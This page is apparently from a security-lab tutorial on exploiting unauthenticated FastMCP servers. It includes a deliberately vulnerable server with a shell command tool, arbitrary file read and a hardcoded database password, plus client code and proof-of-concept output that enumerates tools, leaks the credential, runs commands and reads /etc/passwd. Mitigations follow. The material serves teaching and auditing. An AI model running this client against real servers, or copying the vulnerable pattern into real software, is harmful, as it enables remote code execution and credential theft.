Unauthenticated FastMCP Servers
The most common MCP misconfiguration is also the most serious: an HTTP-transport FastMCP server with no authentication, bound to an address other clients can reach. MCP was designed around a trusted local client, so FastMCP ships with auth as opt-in. A server started with mcp.run(transport="http", host="0.0.0.0", port=8000) and nothing else accepts the protocol handshake from anyone, and once connected an attacker can enumerate every tool, prompt, and resource and call the tools, each of which is server-side Python running with the server’s privileges.
This page walks the full path: identify the exposed server, enumerate its capabilities with no credentials, and escalate a tool call to code execution. See Introduction to FastMCP Security Testing for the protocol primitives this abuses.
The vulnerable server
A realistic “internal helper” MCP server exposes a few convenience tools, a config resource, and a prompt, over HTTP, with no auth:
from fastmcp import FastMCP
import subprocess
mcp = FastMCP("internal-tools")
@mcp.tool
def run_command(cmd: str) -> str:
"""Run a shell command and return its output."""
return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout
@mcp.tool
def read_file(path: str) -> str:
"""Read a file from the server."""
with open(path) as fh:
return fh.read()
@mcp.resource("config://database")
def db_config() -> str:
return "postgresql://admin:S3cr3t@db.internal:5432/prod"
@mcp.prompt
def summarize(text: str) -> str:
return f"Summarize the following:\n{text}"
if __name__ == "__main__":
# Vulnerable: HTTP transport, bound to all interfaces, no auth provider.
mcp.run(transport="http", host="0.0.0.0", port=8000)
There is no user, no token, no session. The run_command tool is a direct command-execution sink and read_file is arbitrary file read, both reachable by anyone who can speak MCP to port 8000.
Enumerating without credentials
An MCP client performs the protocol handshake and then asks for the server’s capabilities. With no auth configured, the attacker’s client connects exactly like a legitimate one. FastMCP’s own client makes this concise:
import asyncio
from fastmcp import Client
async def main():
async with Client("http://target:8000/mcp/") as client:
print("TOOLS:", [t.name for t in await client.list_tools()])
print("PROMPTS:", [p.name for p in await client.list_prompts()])
print("RESOURCES:", [r.uri for r in await client.list_resources()])
asyncio.run(main())
This returns the full inventory, the run_command/read_file tools, the summarize prompt, and the config://database resource, before anything is “exploited”. Listing alone is already an information disclosure: tool names, argument schemas, prompt templates, and resource URIs map out the server’s reach into the host and internal network.
Reading resources and prompts
Resources are readable by URI, so the database resource leaks its credentials directly:
async with Client("http://target:8000/mcp/") as client:
cfg = await client.read_resource("config://database")
print(cfg) # postgresql://admin:S3cr3t@db.internal:5432/prod
Prompt templates are fetched the same way and often reveal internal context, system-prompt wording, or data the server injects.
Calling tools: from connection to code execution
Tools accept arguments and run server-side. Calling run_command is immediate RCE:
async with Client("http://target:8000/mcp/") as client:
out = await client.call_tool("run_command", {"cmd": "id"})
print(out) # uid=...(app), code execution as the server user
passwd = await client.call_tool("read_file", {"path": "/etc/passwd"})
print(passwd) # arbitrary file read
Even when no tool is as obviously dangerous as run_command, the same pattern applies: a “fetch URL” tool is SSRF into the internal network, a “query” tool is database access, a “read file” tool is host file disclosure. Unauthenticated tools/call means every capability the developer exposed to their own LLM is now exposed to the attacker.
Proof of exploitation
Run the lab (PyFuLabs/mcp-fu/fastmcp-no-auth) and point the bundled attacker client at it with no credentials:
python client_poc.py http://pyfu.local/mcp-fu/fastmcp-no-auth/mcp/
[*] Connecting with NO credentials...
[+] TOOLS: ['run_command', 'read_file']
[+] PROMPTS: ['summarize']
[+] RESOURCES: ['config://database']
[*] Reading resource config://database ...
[+] LEAKED DB URL: postgresql://admin:S3cr3t@db.internal:5432/prod
[*] Calling tool run_command("id") ...
[+] RCE OUTPUT: uid=0(root) gid=0(root) groups=0(root)
[*] Calling tool read_file("/etc/passwd") ...
[+] /etc/passwd (first lines):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[*] Done. No authentication was required at any step.
Enumeration, a credential-leaking resource read, command execution, and arbitrary file read, all unauthenticated, in one client session.
Why unauthenticated FastMCP servers matter from an offensive security perspective
This is the single highest-value finding in the FastMCP surface, because the presence of the misconfiguration is the impact: a no-auth network MCP server is a remote, pre-authentication RPC endpoint whose methods are arbitrary server-side Python. I do not need a vulnerable tool to call this critical; enumeration alone leaks the server’s reach, and the tools the developer exposed to their own LLM are now mine to invoke directly, skipping the model entirely. The blast radius is whatever the worst tool wraps, which on a typical “internal helper” is command execution or file read as the server user.
When auditing, the tells are quick to read:
- A network transport with no
auth=argument.mcp.run(transport="http"|"sse", ...)and no auth provider passed toFastMCP(...)is the whole finding. - A bind address of
0.0.0.0or a host other than127.0.0.1. The listener is reachable beyond the intended single local client, often farther than the operator believes. - A successful
tools/listfrom a client carrying no credentials. If enumeration returns over an unauthenticated connection, everytools/call,resources/read, andprompts/getis equally open. - Tools that wrap shells, raw paths, or outbound requests. These convert “open endpoint” into RCE, arbitrary file read, or SSRF, see FastMCP Tools.
- Secrets in resource bodies. A
config://resource returning a live connection string is a credential leak on a single unauthenticated read, see FastMCP Resources.
The defender takeaway: treat any network-reachable MCP server without a wired-in auth provider as already compromised, because reaching the port is reaching the methods.
Mitigation
- Don’t put a network transport on a single-client tool. If the server is meant for one local client, use
stdio; there is no listener to attack. - If it must be networked, require authentication. Configure a FastMCP auth provider (bearer token / OAuth) so unauthenticated clients are rejected at the handshake.
- Bind to localhost, not
0.0.0.0, unless remote access is genuinely required, and put it behind an authenticating reverse proxy if it is. - Treat every tool as its underlying vulnerability class. Don’t expose
shell=Truecommand runners or unconstrained file/URL access; scope tools narrowly and validate arguments exactly as you would any other API endpoint.
Tested with FastMCP 3.x on CPython 3.12. The takeaway: an unauthenticated HTTP MCP server is an unauthenticated RPC endpoint whose methods are arbitrary server-side Python. Enumeration is free and tool invocation is code execution, so the presence of a no-auth network transport is itself the critical finding, before you even look at what the tools do. The runnable lab is mcp-fu/fastmcp-no-auth.